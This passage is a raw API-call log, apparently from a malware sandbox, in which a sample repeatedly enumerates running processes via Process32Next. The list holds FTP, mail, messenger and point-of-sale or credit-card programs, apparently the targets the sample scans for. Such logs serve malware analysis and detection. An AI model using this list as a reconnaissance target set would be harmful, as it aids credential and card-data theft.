th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0251.975] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0251.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0251.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0251.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0251.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0251.988] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0251.990] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0251.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0251.994] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0251.996] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0251.999] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0252.001] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0252.004] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0252.006] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0252.008] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0252.010] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0252.012] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0252.014] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0252.016] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0252.067] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0252.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0252.073] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0252.075] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0252.077] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0252.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0252.083] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0252.086] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0252.088] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0252.090] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0252.094] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0252.096] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0252.109] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0252.112] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0252.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.165] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.167] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.169] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0252.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0252.174] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.176] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0252.178] CloseHandle (hObject=0x13b0) returned 1 [0252.178] Sleep (dwMilliseconds=0x64) [0252.226] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0252.240] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.245] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.248] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.287] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.290] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.292] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.293] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.294] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.296] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.298] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.299] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.333] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.335] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.338] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.340] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.342] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.347] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.348] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.351] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0252.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0252.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.358] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.396] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0252.398] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0252.400] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0252.401] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0252.403] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0252.404] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0252.405] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0252.407] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0252.408] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0252.410] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0252.411] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 